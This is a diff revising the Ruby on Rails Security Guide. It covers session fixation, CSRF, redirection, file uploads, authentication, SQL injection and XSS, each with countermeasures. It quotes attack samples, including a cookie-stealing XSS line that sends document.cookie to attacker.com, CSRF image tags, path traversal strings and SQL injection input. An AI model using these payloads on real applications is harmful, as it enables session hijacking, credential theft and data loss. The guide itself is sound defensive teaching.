-NOTE: _Apart from stealing a user's session id, the attacker may fix a session id known to him. This is called session fixation._ +NOTE: _Apart from stealing a user's session id, the attacker may fix a session id known to them. This is called session fixation._  This attack focuses on fixing a user's session id known to the attacker, and forcing the user's browser into using this id. It is therefore not necessary for the attacker to steal the session id afterwards. Here is how this attack works: -* The attacker creates a valid session id: He loads the login page of the web application where he wants to fix the session, and takes the session id in the cookie from the response (see number 1 and 2 in the image). -* He possibly maintains the session. Expiring sessions, for example every 20 minutes, greatly reduces the time-frame for attack. Therefore he accesses the web application from time to time in order to keep the session alive. -* Now the attacker will force the user's browser into using this session id (see number 3 in the image). As you may not change a cookie of another domain (because of the same origin policy), the attacker has to run a JavaScript from the domain of the target web application. Injecting the JavaScript code into the application by XSS accomplishes this attack. Here is an example: `<script>document.cookie="_session_id=16d5b78abb28e3d6206b60f22a03c8d9";</script>`. Read more about XSS and injection later on. +* The attacker creates a valid session id: They load the login page of the web application where they want to fix the session, and take the session id in the cookie from the response (see number 1 and 2 in the image). +* They maintain the session by accessing the web application periodically in order to keep an expiring session alive. +* The attacker forces the user's browser into using this session id (see number 3 in the image). As you may not change a cookie of another domain (because of the same origin policy), the attacker has to run a JavaScript from the domain of the target web application. Injecting the JavaScript code into the application by XSS accomplishes this attack. Here is an example: `<script>document.cookie="_session_id=16d5b78abb28e3d6206b60f22a03c8d9";</script>`. Read more about XSS and injection later on. * The attacker lures the victim to the infected page with the JavaScript code. By viewing the page, the victim's browser will change the session id to the trap session id. * As the new trap session is unused, the web application will require the user to authenticate. * From now on, the victim and the attacker will co-use the web application with the same session: The session became valid and the victim didn't notice the attack. -### Session Fixation – Countermeasures +### Session Fixation - Countermeasures TIP: _One line of code will protect you from session fixation._ @@ -145,13 +153,13 @@ The most effective countermeasure is to _issue a new session identifier_ and dec reset_session ``` -If you use the popular RestfulAuthentication plugin for user management, add reset\_session to the SessionsController#create action. Note that this removes any value from the session, _you have to transfer them to the new session_. +If you use the popular RestfulAuthentication plugin for user management, add reset_session to the SessionsController#create action. Note that this removes any value from the session, _you have to transfer them to the new session_. Another countermeasure is to _save user-specific properties in the session_, verify them every time a request comes in, and deny access, if the information does not match. Such properties could be the remote IP address or the user agent (the web browser name), though the latter is less user-specific. When saving the IP address, you have to bear in mind that there are Internet service providers or large organizations that put their users behind proxies. _These might change over the course of a session_, so these users will not be able to use your application, or only in a limited way. ### Session Expiry -NOTE: _Sessions that never expire extend the time-frame for attacks such as cross-site reference forgery (CSRF), session hijacking and session fixation._ +NOTE: _Sessions that never expire extend the time-frame for attacks such as cross-site request forgery (CSRF), session hijacking and session fixation._ One possibility is to set the expiry time-stamp of the cookie with the session id. However the client can edit cookies that are stored in the web browser so expiring sessions on the server is safer. Here is an example of how to _expire sessions in a database table_. Call `Session.sweep("20 minutes")` to expire sessions that were used longer than 20 minutes ago. @@ -181,18 +189,18 @@ This attack method works by including malicious code or a link in a page that ac  -In the <a href="#sessions">session chapter</a> you have learned that most Rails applications use cookie-based sessions. Either they store the session id in the cookie and have a server-side session hash, or the entire session hash is on the client-side. In either case the browser will automatically send along the cookie on every request to a domain, if it can find a cookie for that domain. The controversial point is, that it will also send the cookie, if the request comes from a site of a different domain. Let's start with an example: +In the [session chapter](#sessions) you have learned that most Rails applications use cookie-based sessions. Either they store the session id in the cookie and have a server-side session hash, or the entire session hash is on the client-side. In either case the browser will automatically send along the cookie on every request to a domain, if it can find a cookie for that domain. The controversial point is, that it will also send the cookie, if the request comes from a site of a different domain. Let's start with an example: * Bob browses a message board and views a post from a hacker where there is a crafted HTML image element. The element references a command in Bob's project management application, rather than an image file. * `<img src="http://www.webapp.com/project/1/destroy">` * Bob's session at www.webapp.com is still alive, because he didn't log out a few minutes ago. * By viewing the post, the browser finds an image tag. It tries to load the suspected image from www.webapp.com. As explained before, it will also send along the cookie with the valid session id. * The web application at www.webapp.com verifies the user information in the corresponding session hash and destroys the project with the ID 1. It then returns a result page which is an unexpected result for the browser, so it will not display the image. -* Bob doesn't notice the attack — but a few days later he finds out that project number one is gone. +* Bob doesn't notice the attack - but a few days later he finds out that project number one is gone. -It is important to notice that the actual crafted image or link doesn't necessarily have to be situated in the web application's domain, it can be anywhere – in a forum, blog post or email. +It is important to notice that the actual crafted image or link doesn't necessarily have to be situated in the web application's domain, it can be anywhere - in a forum, blog post or email. -CSRF appears very rarely in CVE (Common Vulnerabilities and Exposures) — less than 0.1% in 2006 — but it really is a 'sleeping giant' [Grossman]. This is in stark contrast to the results in my (and others) security contract work – _CSRF is an important security issue_. +CSRF appears very rarely in CVE (Common Vulnerabilities and Exposures) - less than 0.1% in 2006 - but it really is a 'sleeping giant' [Grossman]. This is in stark contrast to the results in many security contract works - _CSRF is an important security issue_. ### CSRF Countermeasures @@ -210,7 +218,7 @@ The HTTP protocol basically provides two main types of requests - GET and POST ( * The interaction _changes the state_ of the resource in a way that the user would perceive (e.g., a subscription to a service), or * The user is _held accountable for the results_ of the interaction. -If your web application is RESTful, you might be used to additional HTTP verbs, such as PUT or DELETE. Most of today's web browsers, however do not support them - only GET and POST. Rails uses a hidden `_method` field to handle this barrier. +If your web application is RESTful, you might be used to additional HTTP verbs, such as PATCH, PUT or DELETE. Most of today's web browsers, however do not support them - only GET and POST. Rails uses a hidden `_method` field to handle this barrier. _POST requests can be sent automatically, too_. Here is an example for a link which displays www.harmless.com as destination in the browser's status bar. In fact it dynamically creates a new form that sends a POST request. @@ -231,26 +239,29 @@ Or the attacker places the code into the onmouseover event handler of an image: <img src="http://www.harmless.com/img" width="400" height="400" onmouseover="..." /> ``` -There are many other possibilities, including Ajax to attack the victim in the background.
The _solution to this is including a security token in non-GET requests_ which check on the server-side. In Rails 2 or higher, this is a one-liner in the application controller: +There are many other possibilities, like using a `<script>` tag to make a cross-site request to a URL with a JSONP or JavaScript response. The response is executable code that the attacker can find a way to run, possibly extracting sensitive data. To protect against this data leakage, we disallow cross-site `<script>` tags. Only Ajax requests may have JavaScript responses since `XMLHttpRequest` is subject to the browser Same-Origin policy - meaning only your site can initiate the request. + +To protect against all other forged requests, we introduce a _required security token_ that our site knows but other sites don't know. We include the security token in requests and verify it on the server. This is a one-liner in your application controller, and is the default for newly created rails applications: ```ruby -protect_from_forgery secret: "123456789012345678901234567890..." +protect_from_forgery with: :exception ``` -This will automatically include a security token, calculated from the current session and the server-side secret, in all forms and Ajax requests generated by Rails. You won't need the secret, if you use CookieStorage as session storage. If the security token doesn't match what was expected, the session will be reset. **Note:** In Rails versions prior to 3.0.4, this raised an `ActionController::InvalidAuthenticityToken` error. +This will automatically include a security token in all forms and Ajax requests generated by Rails. If the security token doesn't match what was expected, an exception will be thrown. + +NOTE: By default, Rails includes jQuery and an [unobtrusive scripting adapter for jQuery](https://github.com/rails/jquery-ujs), which adds a header called `X-CSRF-Token` on every non-GET Ajax call made by jQuery with the security token. Without this header, non-GET Ajax requests won't be accepted by Rails. When using another library to make Ajax calls, it is necessary to add the security token as a default header for Ajax calls in your library. To get the token, have a look at `<meta name='csrf-token' content='THE-TOKEN'>` tag printed by `<%= csrf_meta_tags %>` in your application view. It is common to use persistent cookies to store user information, with `cookies.permanent` for example. In this case, the cookies will not be cleared and the out of the box CSRF protection will not be effective. If you are using a different cookie store than the session for this information, you must handle what to do with it yourself: ```ruby -def handle_unverified_request - super - sign_out_user # Example method that will destroy the user cookies. +rescue_from ActionController::InvalidAuthenticityToken do |exception| + sign_out_user # Example method that will destroy the user cookies end ``` -The above method can be placed in the `ApplicationController` and will be called when a CSRF token is not present on a non-GET request. +The above method can be placed in the `ApplicationController` and will be called when a CSRF token is not present or is incorrect on a non-GET request. -Note that _cross-site scripting (XSS) vulnerabilities bypass all CSRF protections_. XSS gives the attacker access to all elements on a page, so he can read the CSRF security token from a form or directly submit the form. Read <a href="#cross-site-scripting-xss">more about XSS</a> later. +Note that _cross-site scripting (XSS) vulnerabilities bypass all CSRF protections_. XSS gives the attacker access to all elements on a page, so they can read the CSRF security token from a form or directly submit the form. Read [more about XSS](#cross-site-scripting-xss) later. Redirection and Files --------------------- @@ -259,7 +270,7 @@ Another class of security vulnerabilities surrounds the use of redirection and f ### Redirection -WARNING: _Redirection in a web application is an underestimated cracker tool: Not only can the attacker forward the user to a trap web site, he may also create a self-contained attack._ +WARNING: _Redirection in a web application is an underestimated cracker tool: Not only can the attacker forward the user to a trap web site, they may also create a self-contained attack._ Whenever the user is allowed to pass (parts of) the URL for redirection, it is possibly vulnerable. The most obvious attack would be to redirect users to a fake web application which looks and feels exactly as the original one. This so-called phishing attack works by sending an unsuspicious link in an email to the users, injecting the link by XSS in the web application or putting the link into an external site. It is unsuspicious, because the link starts with the URL to the web application and the URL to the malicious site is hidden in the redirection parameter: http://www.example.com/site/redirect?to= www.attacker.com. Here is an example of a legacy action: @@ -269,7 +280,7 @@ def legacy end ``` -This will redirect the user to the main action if he tried to access a legacy action. The intention was to preserve the URL parameters to the legacy action and pass them to the main action. However, it can exploited by an attacker if he includes a host key in the URL: +This will redirect the user to the main action if they tried to access a legacy action. The intention was to preserve the URL parameters to the legacy action and pass them to the main action. However, it can be exploited by attacker if they included a host key in the URL: ``` http://www.example.com/site/legacy?param1=xy¶m2=23&host=www.attacker.com @@ -289,9 +300,9 @@ This example is a Base64 encoded JavaScript which displays a simple message box. NOTE: _Make sure file uploads don't overwrite important files, and process media files asynchronously._ -Many web applications allow users to upload files. _File names, which the user may choose (partly), should always be filtered_ as an attacker could use a malicious file name to overwrite any file on the server. If you store file uploads at /var/www/uploads, and the user enters a file name like “../../../etc/passwd”, it may overwrite an important file. Of course, the Ruby interpreter would need the appropriate permissions to do so – one more reason to run web servers, database servers and other programs as a less privileged Unix user. +Many web applications allow users to upload files. _File names, which the user may choose (partly), should always be filtered_ as an attacker could use a malicious file name to overwrite any file on the server. If you store file uploads at /var/www/uploads, and the user enters a file name like "../../../etc/passwd", it may overwrite an important file. Of course, the Ruby interpreter would need the appropriate permissions to do so - one more reason to run web servers, database servers and other programs as a less privileged Unix user. -When filtering user input file names, _don't try to remove malicious parts_. Think of a situation where the web application removes all “../” in a file name and an attacker uses a string such as “....//” - the result will be “../”. It is best to use a whitelist approach, which _checks for the validity of a file name with a set of accepted characters_. This is opposed to a blacklist approach which attempts to remove not allowed characters. In case it isn't a valid file name, reject it (or replace not accepted characters), but don't remove them. Here is the file name sanitizer from the [attachment_fu plugin](https://github.com/technoweenie/attachment_fu/tree/master:) +When filtering user input file names, _don't try to remove malicious parts_. Think of a situation where the web application removes all "../" in a file name and an attacker uses a string such as "....//" - the result will be "../". It is best to use a whitelist approach, which _checks for the validity of a file name with a set of accepted characters_. This is opposed to a blacklist approach which attempts to remove not allowed characters. In case it isn't a valid file name, reject it (or replace not accepted characters), but don't remove them. Here is the file name sanitizer from the [attachment_fu plugin](https://github.com/technoweenie/attachment_fu/tree/master): ```ruby def sanitize_filename(filename) @@ -306,7 +317,7 @@ def sanitize_filename(filename) end ``` -A significant disadvantage of synchronous processing of file uploads (as the attachment\_fu plugin may do with images), is its _vulnerability to denial-of-service attacks_. An attacker can synchronously start image file uploads from many computers which increases the server load and may eventually crash or stall the server. +A significant disadvantage of synchronous processing of file uploads (as the attachment_fu plugin may do with images), is its _vulnerability to denial-of-service attacks_. An attacker can synchronously start image file uploads from many computers which increases the server load and may eventually crash or stall the server. The solution to this is best to _process media files asynchronously_: Save the media file and schedule a processing request in the database. A second process will handle the processing of the file in the background. @@ -314,7 +325,7 @@ The solution to this is best to _process media files asynchronously_: Save the m WARNING: _Source code in uploaded files may be executed when placed in specific directories. Do not place file uploads in Rails' /public directory if it is Apache's home directory._ -The popular Apache web server has an option called DocumentRoot. This is the home directory of the web site, everything in this directory tree will be served by the web server. If there are files with a certain file name extension, the code in it will be executed when requested (might require some options to be set). Examples for this are PHP and CGI files. Now think of a situation where an attacker uploads a file “file.cgi” with code in it, which will be executed when someone downloads the file. +The popular Apache web server has an option called DocumentRoot. This is the home directory of the web site, everything in this directory tree will be served by the web server. If there are files with a certain file name extension, the code in it will be executed when requested (might require some options to be set). Examples for this are PHP and CGI files. Now think of a situation where an attacker uploads a file "file.cgi" with code in it, which will be executed when someone downloads the file. _If your Apache DocumentRoot points to Rails' /public directory, do not put file uploads in it_, store files at least one level downwards. @@ -328,7 +339,7 @@ Just as you have to filter file names for uploads, you have to do so for downloa send_file('/var/www/uploads/' + params[:filename]) ``` -Simply pass a file name like “../../../etc/passwd” to download the server's login information. A simple solution against this, is to _check that the requested file is in the expected directory_: +Simply pass a file name like "../../../etc/passwd" to download the server's login information. A simple solution against this, is to _check that the requested file is in the expected directory_: ```ruby basename = File.expand_path(File.join(File.dirname(__FILE__), '../../files')) @@ -347,17 +358,17 @@ Intranet and administration interfaces are popular attack targets, because they In 2007 there was the first tailor-made trojan which stole information from an Intranet, namely the "Monster for employers" web site of Monster.com, an online recruitment web application. Tailor-made Trojans are very rare, so far, and the risk is quite low, but it is certainly a possibility and an example of how the security of the client host is important, too. However, the highest threat to Intranet and Admin applications are XSS and CSRF.
-**XSS** If your application re-displays malicious user input from the extranet, the application will be vulnerable to XSS. User names, comments, spam reports, order addresses are just a few uncommon examples, where there can be XSS. +**XSS** If your application re-displays malicious user input from the extranet, the application will be vulnerable to XSS. User names, comments, spam reports, order addresses are just a few uncommon examples, where there can be XSS. Having one single place in the admin interface or Intranet, where the input has not been sanitized, makes the entire application vulnerable. Possible exploits include stealing the privileged administrator's cookie, injecting an iframe to steal the administrator's password or installing malicious software through browser security holes to take over the administrator's computer. Refer to the Injection section for countermeasures against XSS. It is _recommended to use the SafeErb plugin_ also in an Intranet or administration interface. -**CSRF** Cross-Site Reference Forgery (CSRF) is a gigantic attack method, it allows the attacker to do everything the administrator or Intranet user may do. As you have already seen above how CSRF works, here are a few examples of what attackers can do in the Intranet or admin interface. +**CSRF** Cross-Site Request Forgery (CSRF), also known as Cross-Site Reference Forgery (XSRF), is a gigantic attack method, it allows the attacker to do everything the administrator or Intranet user may do. As you have already seen above how CSRF works, here are a few examples of what attackers can do in the Intranet or admin interface. -A real-world example is a [router reconfiguration by CSRF](http://www.h-online.com/security/Symantec-reports-first-active-attack-on-a-DSL-router--/news/102352). The attackers sent a malicious e-mail, with CSRF in it, to Mexican users. The e-mail claimed there was an e-card waiting for them, but it also contained an image tag that resulted in a HTTP-GET request to reconfigure the user's router (which is a popular model in Mexico). The request changed the DNS-settings so that requests to a Mexico-based banking site would be mapped to the attacker's site. Everyone who accessed the banking site through that router saw the attacker's fake web site and had his credentials stolen. +A real-world example is a [router reconfiguration by CSRF](http://www.h-online.com/security/news/item/Symantec-reports-first-active-attack-on-a-DSL-router-735883.html). The attackers sent a malicious e-mail, with CSRF in it, to Mexican users. The e-mail claimed there was an e-card waiting for them, but it also contained an image tag that resulted in a HTTP-GET request to reconfigure the user's router (which is a popular model in Mexico). The request changed the DNS-settings so that requests to a Mexico-based banking site would be mapped to the attacker's site. Everyone who accessed the banking site through that router saw the attacker's fake web site and had their credentials stolen. -Another example changed Google Adsense's e-mail address and password by. If the victim was logged into Google Adsense, the administration interface for Google advertisements campaigns, an attacker could change his credentials.
+Another example changed Google Adsense's e-mail address and password by. If the victim was logged into Google Adsense, the administration interface for Google advertisements campaigns, an attacker could change their credentials.
Another popular attack is to spam your web application, your blog or forum to propagate malicious XSS. Of course, the attacker has to know the URL structure, but most Rails URLs are quite straightforward or they will be easy to find out, if it is an open-source application's admin interface. The attacker may even do 1,000 lucky guesses by just including malicious IMG-tags which try every possible combination. @@ -367,7 +378,7 @@ For _countermeasures against CSRF in administration interfaces and Intranet appl The common admin interface works like this: it's located at www.example.com/admin, may be accessed only if the admin flag is set in the User model, re-displays user input and allows the admin to delete/add/edit whatever data desired. Here are some thoughts about this: -* It is very important to _think about the worst case_: What if someone really got hold of my cookie or user credentials. You could _introduce roles_ for the admin interface to limit the possibilities of the attacker. Or how about _special login credentials_ for the admin interface, other than the ones used for the public part of the application. Or a _special password for very serious actions_? +* It is very important to _think about the worst case_: What if someone really got hold of your cookies or user credentials. You could _introduce roles_ for the admin interface to limit the possibilities of the attacker. Or how about _special login credentials_ for the admin interface, other than the ones used for the public part of the application. Or a _special password for very serious actions_? * Does the admin really have to access the interface from everywhere in the world? Think about _limiting the login to a bunch of source IP addresses_. Examine request.remote_ip to find out about the user's IP address. This is not bullet-proof, but a great barrier. Remember that there might be a proxy in use, though. @@ -380,7 +391,7 @@ NOTE: _Almost every web application has to deal with authorization and authentic There are a number of authentication plug-ins for Rails available. Good ones, such as the popular [devise](https://github.com/plataformatec/devise) and [authlogic](https://github.com/binarylogic/authlogic), store only encrypted passwords, not plain-text passwords. In Rails 3.1 you can use the built-in `has_secure_password` method which has similar features. -Every new user gets an activation code to activate his account when he gets an e-mail with a link in it. After activating the account, the activation_code columns will be set to NULL in the database. If someone requested an URL like these, he would be logged in as the first activated user found in the database (and chances are that this is the administrator): +Every new user gets an activation code to activate their account when they get an e-mail with a link in it. After activating the account, the activation_code columns will be set to NULL in the database. If someone requested an URL like these, they would be logged in as the first activated user found in the database (and chances are that this is the administrator): ``` http://localhost:3006/user/activate @@ -399,7 +410,7 @@ If the parameter was nil, the resulting SQL query will be SELECT * FROM users WHERE (users.activation_code IS NULL) LIMIT 1 ``` -And thus it found the first user in the database, returned it and logged him in. You can find out more about it in [my blog post](http://www.rorsecurity.info/2007/10/28/restful_authentication-login-security/). _It is advisable to update your plug-ins from time to time_. Moreover, you can review your application to find more flaws like this. +And thus it found the first user in the database, returned it and logged them in. You can find out more about it in [this blog post](http://www.rorsecurity.info/2007/10/28/restful_authentication-login-security/). _It is advisable to update your plug-ins from time to time_. Moreover, you can review your application to find more flaws like this. ### Brute-Forcing Accounts @@ -407,7 +418,7 @@ NOTE: _Brute-force attacks on accounts are trial and error attacks on the login A list of user names for your web application may be misused to brute-force the corresponding passwords, because most people don't use sophisticated passwords. Most passwords are a combination of dictionary words and possibly numbers. So armed with a list of user names and a dictionary, an automatic program may find the correct password in a matter of minutes. -Because of this, most web applications will display a generic error message “user name or password not correct”, if one of these are not correct. If it said “the user name you entered has not been found”, an attacker could automatically compile a list of user names. +Because of this, most web applications will display a generic error message "user name or password not correct", if one of these are not correct. If it said "the user name you entered has not been found", an attacker could automatically compile a list of user names. However, what most web application designers neglect, are the forgot-password pages. These pages often admit that the entered user name or e-mail address has (not) been found. This allows an attacker to compile a list of user names and brute-force the accounts. @@ -419,24 +430,24 @@ Many web applications make it easy to hijack user accounts. Why not be different #### Passwords -Think of a situation where an attacker has stolen a user's session cookie and thus may co-use the application. If it is easy to change the password, the attacker will hijack the account with a few clicks. Or if the change-password form is vulnerable to CSRF, the attacker will be able to change the victim's password by luring him to a web page where there is a crafted IMG-tag which does the CSRF. As a countermeasure, _make change-password forms safe against CSRF_, of course. And _require the user to enter the old password when changing it_. +Think of a situation where an attacker has stolen a user's session cookie and thus may co-use the application. If it is easy to change the password, the attacker will hijack the account with a few clicks. Or if the change-password form is vulnerable to CSRF, the attacker will be able to change the victim's password by luring them to a web page where there is a crafted IMG-tag which does the CSRF. As a countermeasure, _make change-password forms safe against CSRF_, of course. And _require the user to enter the old password when changing it_. #### E-Mail -However, the attacker may also take over the account by changing the e-mail address. After he changed it, he will go to the forgotten-password page and the (possibly new) password will be mailed to the attacker's e-mail address. As a countermeasure _require the user to enter the password when changing the e-mail address, too_. +However, the attacker may also take over the account by changing the e-mail address. After they change it, they will go to the forgotten-password page and the (possibly new) password will be mailed to the attacker's e-mail address. As a countermeasure _require the user to enter the password when changing the e-mail address, too_. #### Other -Depending on your web application, there may be more ways to hijack the user's account. In many cases CSRF and XSS will help to do so. For example, as in a CSRF vulnerability in [Google Mail](http://www.gnucitizen.org/blog/google-gmail-e-mail-hijack-technique/). In this proof-of-concept attack, the victim would have been lured to a web site controlled by the attacker. On that site is a crafted IMG-tag which results in a HTTP GET request that changes the filter settings of Google Mail. If the victim was logged in to Google Mail, the attacker would change the filters to forward all e-mails to his e-mail address. This is nearly as harmful as hijacking the entire account. As a countermeasure, _review your application logic and eliminate all XSS and CSRF vulnerabilities_. +Depending on your web application, there may be more ways to hijack the user's account. In many cases CSRF and XSS will help to do so. For example, as in a CSRF vulnerability in [Google Mail](http://www.gnucitizen.org/blog/google-gmail-e-mail-hijack-technique/). In this proof-of-concept attack, the victim would have been lured to a web site controlled by the attacker. On that site is a crafted IMG-tag which results in a HTTP GET request that changes the filter settings of Google Mail. If the victim was logged in to Google Mail, the attacker would change the filters to forward all e-mails to their e-mail address. This is nearly as harmful as hijacking the entire account. As a countermeasure, _review your application logic and eliminate all XSS and CSRF vulnerabilities_. ### CAPTCHAs -INFO: _A CAPTCHA is a challenge-response test to determine that the response is not generated by a computer. It is often used to protect comment forms from automatic spam bots by asking the user to type the letters of a distorted image. The idea of a negative CAPTCHA is not for a user to prove that he is human, but reveal that a robot is a robot._ +INFO: _A CAPTCHA is a challenge-response test to determine that the response is not generated by a computer. It is often used to protect comment forms from automatic spam bots by asking the user to type the letters of a distorted image. The idea of a negative CAPTCHA is not for a user to prove that they are human, but reveal that a robot is a robot._ -But not only spam robots (bots) are a problem, but also automatic login bots. A popular CAPTCHA API is [reCAPTCHA](http://recaptcha.net/) which displays two distorted images of words from old books. It also adds an angled line, rather than a distorted background and high levels of warping on the text as earlier CAPTCHAs did, because the latter were broken. As a bonus, using reCAPTCHA helps to digitize old books. [ReCAPTCHA](http://ambethia.com/recaptcha/) is also a Rails plug-in with the same name as the API. +But not only spam robots (bots) are a problem, but also automatic login bots. A popular CAPTCHA API is [reCAPTCHA](http://recaptcha.net/) which displays two distorted images of words from old books. It also adds an angled line, rather than a distorted background and high levels of warping on the text as earlier CAPTCHAs did, because the latter were broken. As a bonus, using reCAPTCHA helps to digitize old books. [ReCAPTCHA](https://github.com/ambethia/recaptcha/) is also a Rails plug-in with the same name as the API. You will get two keys from the API, a public and a private key, which you have to put into your Rails environment. After that you can use the recaptcha_tags method in the view, and the verify_recaptcha method in the controller. Verify_recaptcha will return false if the validation fails. -The problem with CAPTCHAs is, they are annoying. Additionally, some visually impaired users have found certain kinds of distorted CAPTCHAs difficult to read. The idea of negative CAPTCHAs is not to ask a user to proof that he is human, but reveal that a spam robot is a bot. +The problem with CAPTCHAs is, they are annoying. Additionally, some visually impaired users have found certain kinds of distorted CAPTCHAs difficult to read. The idea of negative CAPTCHAs is not to ask a user to proof that they are human, but reveal that a spam robot is a bot. Most bots are really dumb, they crawl the web and put their spam into every form's field they can find. Negative CAPTCHAs take advantage of that and include a "honeypot" field in the form which will be hidden from the human user by CSS or JavaScript. @@ -448,7 +459,7 @@ Here are some ideas how to hide honeypot fields by JavaScript and/or CSS: The most simple negative CAPTCHA is one hidden honeypot field. On the server side, you will check the value of the field: If it contains any text, it must be a bot. Then, you can either ignore the post or return a positive result, but not saving the post to the database. This way the bot will be satisfied and moves on. You can do this with annoying users, too. -You can find more sophisticated negative CAPTCHAs in Ned Batchelder's [blog post](http://nedbatchelder.com/text/stopbots.html:) +You can find more sophisticated negative CAPTCHAs in Ned Batchelder's [blog post](http://nedbatchelder.com/text/stopbots.html): * Include a field with the current UTC time-stamp in it and check it on the server. If it is too far in the past, or if it is in the future, the form is invalid. * Randomize the field names @@ -470,7 +481,7 @@ config.filter_parameters << :password INFO: _Do you find it hard to remember all your passwords? Don't write them down, but use the initial letters of each word in an easy to remember sentence._ -Bruce Schneier, a security technologist, [has analyzed](http://www.schneier.com/blog/archives/2006/12/realworld_passw.html) 34,000 real-world user names and passwords from the MySpace phishing attack mentioned <a href="#examples-from-the-underground">below</a>. It turns out that most of the passwords are quite easy to crack. The 20 most common passwords are: +Bruce Schneier, a security technologist, [has analyzed](http://www.schneier.com/blog/archives/2006/12/realworld_passw.html) 34,000 real-world user names and passwords from the MySpace phishing attack mentioned [below](#examples-from-the-underground). It turns out that most of the passwords are quite easy to crack. The 20 most common passwords are: password1, abc123, myspace1, password, blink182, qwerty1, ****you, 123abc, baseball1, football1, 123456, soccer, monkey1, liverpool1, princess1, jordan23, slipknot1, superman1, iloveyou1, and monkey. @@ -482,7 +493,7 @@ A good password is a long alphanumeric combination of mixed cases. As this is qu INFO: _A common pitfall in Ruby's regular expressions is to match the string's beginning and end by ^ and $, instead of \A and \z._ -Ruby uses a slightly different approach than many other languages to match the end and the beginning of a string. That is why even many Ruby and Rails books make this wrong. So how is this a security threat? Say you wanted to loosely validate a URL field and you used a simple regular expression like this: +Ruby uses a slightly different approach than many other languages to match the end and the beginning of a string. That is why even many Ruby and Rails books get this wrong. So how is this a security threat? Say you wanted to loosely validate a URL field and you used a simple regular expression like this: ```ruby /^https?:\/\/[^\n]+$/i @@ -496,7 +507,7 @@ http://hi.com */ ``` -This URL passes the filter because the regular expression matches – the second line, the rest does not matter. Now imagine we had a view that showed the URL like this: +This URL passes the filter because the regular expression matches - the second line, the rest does not matter. Now imagine we had a view that showed the URL like this: ```ruby link_to "Homepage", @user.homepage @@ -529,7 +540,7 @@ The most common parameter that a user might tamper with, is the id parameter, as @project = Project.find(params[:id]) ``` -This is alright for some web applications, but certainly not if the user is not authorized to view all projects. If the user changes the id to 42, and he is not allowed to see that information, he will have access to it anyway. Instead, _query the user's access rights, too_: +This is alright for some web applications, but certainly not if the user is not authorized to view all projects. If the user changes the id to 42, and they are not allowed to see that information, they will have access to it anyway. Instead, _query the user's access rights, too_: ```ruby @project = @current_user.projects.find(params[:id]) @@ -548,7 +559,7 @@ Injection is very tricky, because the same code or parameter can be malicious in ### Whitelists versus Blacklists -NOTE: _When sanitizing, protecting or verifying something, whitelists over blacklists._ +NOTE: _When sanitizing, protecting or verifying something, prefer whitelists over blacklists._ A blacklist can be a list of bad e-mail addresses, non-public actions or bad HTML tags. This is opposed to a whitelist which lists the good e-mail addresses, public actions, good HTML tags and so on. Although sometimes it is not possible to create a whitelist (in a SPAM filter, for example), _prefer to use whitelist approaches_: @@ -572,7 +583,7 @@ SQL injection attacks aim at influencing database queries by manipulating web ap Project.where("name = '#{params[:name]}'") ``` -This could be in a search action and the user may enter a project's name that he wants to find. If a malicious user enters ' OR 1 --, the resulting SQL query will be: +This could be in a search action and the user may enter a project's name that they want to find. If a malicious user enters ' OR 1 --, the resulting SQL query will be: ```sql SELECT * FROM projects WHERE name = '' OR 1 --' @@ -582,7 +593,7 @@ The two dashes start a comment ignoring everything after it. So the query return #### Bypassing Authorization -Usually a web application includes access control. The user enters his login credentials, the web application tries to find the matching record in the users table. The application grants access when it finds a record. However, an attacker may possibly bypass this check with SQL injection. The following shows a typical database query in Rails to find the first record in the users table which matches the login credentials parameters supplied by the user. +Usually a web application includes access control. The user enters their login credentials and the web application tries to find the matching record in the users table. The application grants access when it finds a record. However, an attacker may possibly bypass this check with SQL injection. The following shows a typical database query in Rails to find the first record in the users table which matches the login credentials parameters supplied by the user. ```ruby User.first("login = '#{params[:name]}' AND password = '#{params[:password]}'") @@ -623,7 +634,7 @@ Also, the second query renames some columns with the AS statement so that the we #### Countermeasures -Ruby on Rails has a built-in filter for special SQL characters, which will escape ' , " , NULL character and line breaks. <em class="highlight">Using `Model.find(id)` or `Model.find_by_some thing(something)` automatically applies this countermeasure</em>. But in SQL fragments, especially <em class="highlight">in conditions fragments (`where("...")`), the `connection.execute()` or `Model.find_by_sql()` methods, it has to be applied manually</em>. +Ruby on Rails has a built-in filter for special SQL characters, which will escape ' , " , NULL character and line breaks. *Using `Model.find(id)` or `Model.find_by_some thing(something)` automatically applies this countermeasure*. But in SQL fragments, especially *in conditions fragments (`where("...")`), the `connection.execute()` or `Model.find_by_sql()` methods, it has to be applied manually*. Instead of passing a string to the conditions option, you can pass an array to sanitize tainted strings like this: @@ -647,7 +658,7 @@ INFO: _The most widespread, and one of the most devastating security vulnerabili An entry point is a vulnerable URL and its parameters where an attacker can start an attack. -The most common entry points are message posts, user comments, and guest books, but project titles, document names and search result pages have also been vulnerable - just about everywhere where the user can input data. But the input does not necessarily have to come from input boxes on web sites, it can be in any URL parameter – obvious, hidden or internal. Remember that the user may intercept any traffic. Applications, such as the [Live HTTP Headers Firefox plugin](http://livehttpheaders.mozdev.org/), or client-site proxies make it easy to change requests. +The most common entry points are message posts, user comments, and guest books, but project titles, document names and search result pages have also been vulnerable - just about everywhere where the user can input data. But the input does not necessarily have to come from input boxes on web sites, it can be in any URL parameter - obvious, hidden or internal. Remember that the user may intercept any traffic. Applications, such as the [Live HTTP Headers Firefox plugin](http://livehttpheaders.mozdev.org/), or client-site proxies make it easy to change requests. XSS attacks work like this: An attacker injects some code, the web application saves it and displays it on a page, later presented to a victim. Most XSS examples simply display an alert box, but it is more powerful than that. XSS can steal the cookie, hijack the session, redirect the victim to a fake website, display advertisements for the benefit of the attacker, change elements on the web site to get confidential information or install malicious software through security holes in the web browser. @@ -680,7 +691,7 @@ These examples don't do any harm so far, so let's see how an attacker can steal <script>document.write(document.cookie);</script> ``` -For an attacker, of course, this is not useful, as the victim will see his own cookie. The next example will try to load an image from the URL http://www.attacker.com/ plus the cookie. Of course this URL does not exist, so the browser displays nothing. But the attacker can review his web server's access log files to see the victim's cookie. +For an attacker, of course, this is not useful, as the victim will see their own cookie. The next example will try to load an image from the URL http://www.attacker.com/ plus the cookie. Of course this URL does not exist, so the browser displays nothing. But the attacker can review their web server's access log files to see the victim's cookie. ```html <script>document.write('<img src="http://www.attacker.com/' + document.cookie + '">');</script> @@ -699,10 +710,10 @@ You can mitigate these attacks (in the obvious way) by adding the [httpOnly](htt With web page defacement an attacker can do a lot of things, for example, present false information or lure the victim on the attackers web site to steal the cookie, login credentials or other sensitive data. The most popular way is to include code from external sources by iframes: ```html -<iframe name=”StatPage” src="http://58.xx.xxx.xxx" width=5 height=5 